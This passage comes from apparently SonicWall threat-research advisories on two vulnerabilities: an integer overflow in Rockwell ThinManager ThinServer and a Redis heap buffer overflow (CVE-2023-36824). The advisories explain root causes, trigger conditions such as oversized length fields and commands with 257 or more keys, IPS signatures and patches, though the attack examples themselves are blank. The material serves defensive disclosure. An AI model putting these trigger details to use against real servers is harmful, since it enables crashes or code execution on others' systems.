  However, a problem emerges when a value exceeding 2,147,483,635 (0x7FFFFFF3) is inputted for the "Length of data" field. When combined with the current position pointer's value, it leads to an overflow, converting the resultant value into a negative signed 4-byte integer. This altered "calcLength" value, now being negative, would successfully pass the condition that checks if "calcLength" is less than or equal to "remainLength".

  This oversight is critical. As the aforementioned condition is met, the memcpy() function is subsequently invoked with an excessively large "Size" parameter. This can potentially trigger an out-of-bounds read error, culminating in the abrupt termination of the server.

Triggering the Problem:

  • The target must be running a vulnerable version of the software.
  • The attacker must have network access to the vulnerable software.

Triggering Conditions:

  The process begins when the attacker issues a request to establish a connection with the server. Once the server responds affirmatively to this request, a vulnerability is exposed. It is at this point that the attacker exploits the flaw by dispatching a Type 13 message containing an unusually expansive "Length of data" field. This action triggers the vulnerability, potentially compromising the system.

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • Rockwell Automation ThinManager ThinServer Synchronization Protocol

  Attack Packet:
  

SonicWall's, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS: 4020 Rockwell Automation ThinServer Integer Overflow

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Applying the vendor-supplied patch to eliminate this vulnerability.
    • Filtering traffic based on the signature above.
  The vendor has released the following advisory regarding this vulnerability:
  Vendor Advisory

/by
, ,

Redis Heap Buffer Overflow Vulnerability

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  Redis stands as an in-memory, high-performance key-value data store that is both lightweight and non-volatile. Designed to offer quick access to simple yet mutable data structures, it utilizes the Redis Serialization Protocol (RESP) – a protocol built atop the Transmission Control Protocol (TCP). Similar to many modern databases, Redis operates on a client-server model. Through this model, clients can seamlessly create, modify, and fetch records stored on the Redis server using a variety of specialized Redis commands.

  A heap-based buffer overflow vulnerability has been reported in Redis. The vulnerability is due to improper validation of user input when extracting keys from a command.

  An external attacker, leveraging this vulnerability, could potentially send maliciously crafted requests to the designated server. Should they succeed in their exploitation, it might lead to a denial-of-service state, incapacitating the server. In more severe situations, it could even grant the attacker the capability to execute arbitrary code within the safety confines of the Redis operational process.

  Vendor Homepage

CVE Reference:

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-36824.

  CVE Listing

Common Vulnerability Scoring System (CVSS):

  The overall CVSS score is 6.5 (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C).

  Base score is 7.5 (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is high.
    • Privileges required is low.
    • User interaction is none.
    • Scope is unchanged.
    • Impact of this vulnerability on data confidentiality is high.
    • Impact of this vulnerability on data integrity is high.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 6.5 (E:U/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is unproven.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  CVSS Calculator Metrics

Technical Overview:

  A vulnerability exists due to a flaw in the logic of the getKeysUsingKeySpecs() function when it processes commands with multiple key specifications. Specifically, while computing the count of matching keys and invoking the getKeysPrepareResult() function, it doesn't consider keys identified by previous key specifications. As a result, the keyReference array, indicated by keys, may be inadequately sized, leading to potential overflow when assignments are made to keys[k].

  If the count is less than or equal to MAX_KEYS_BUFFER, the function getKeysPrepareResult() directs result->keys to the address of result->keysbuf, which can lead to a stack buffer overflow. Conversely, if the count exceeds MAX_KEYS_BUFFER, result->keys is directed to the address of the allocated heap buffer, risking a heap buffer overflow.

  To exploit this vulnerability, attackers can send a COMMAND GETKEYS or COMMAND GETKEYSANDFLAGS command, followed by a specially crafted command containing 257 or more keys within its arguments. If attackers possess credentials with key pattern permissions, they can also trigger the vulnerability by sending the crafted command on its own.

  For instance, the following command can activate the vulnerability:
  

  Several Redis commands with multiple key specifications can be exploited in this manner. They share a common pattern: they contain exactly two key specifications, where the first identifies a singular key and the second identifies a variable number of keys. The commands vulnerable to this pattern include:
  

Triggering the Problem:

  • The target must be running a vulnerable version of the software.
  • The attacker must have network access to the vulnerable software.
  • The attacker must have valid credentials on the target server.
  • The attacker credentials must be configured with key pattern permissions (ACL attack vector only).

Triggering Conditions:

  The attacker begins by authenticating to the target server. Once authenticated, there are two potential attack vectors they might exploit. The first involves sending either a "COMMAND GETKEYS" or "COMMAND GETKEYSANDFLAGS" command. This is immediately followed by a specifically crafted command containing 257 or more keys, which is termed as the "GETKEYS attack vector." The second method, known as the "ACL attack vector," simply requires the attacker to send a command, again followed by a crafted command with 257 or more keys.

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • RESP
  

SonicWall's, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS: 4016 Redis GETKEYS Heap Buffer Overflow 1

  • IPS: 4017 Redis GETKEYS Heap Buffer Overflow 2

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Applying the vendor-supplied patch to eliminate this vulnerability.
    • Filtering traffic based on the signatures above.
  The vendor has released the following advisory regarding this vulnerability:
  Vendor Advisory

/by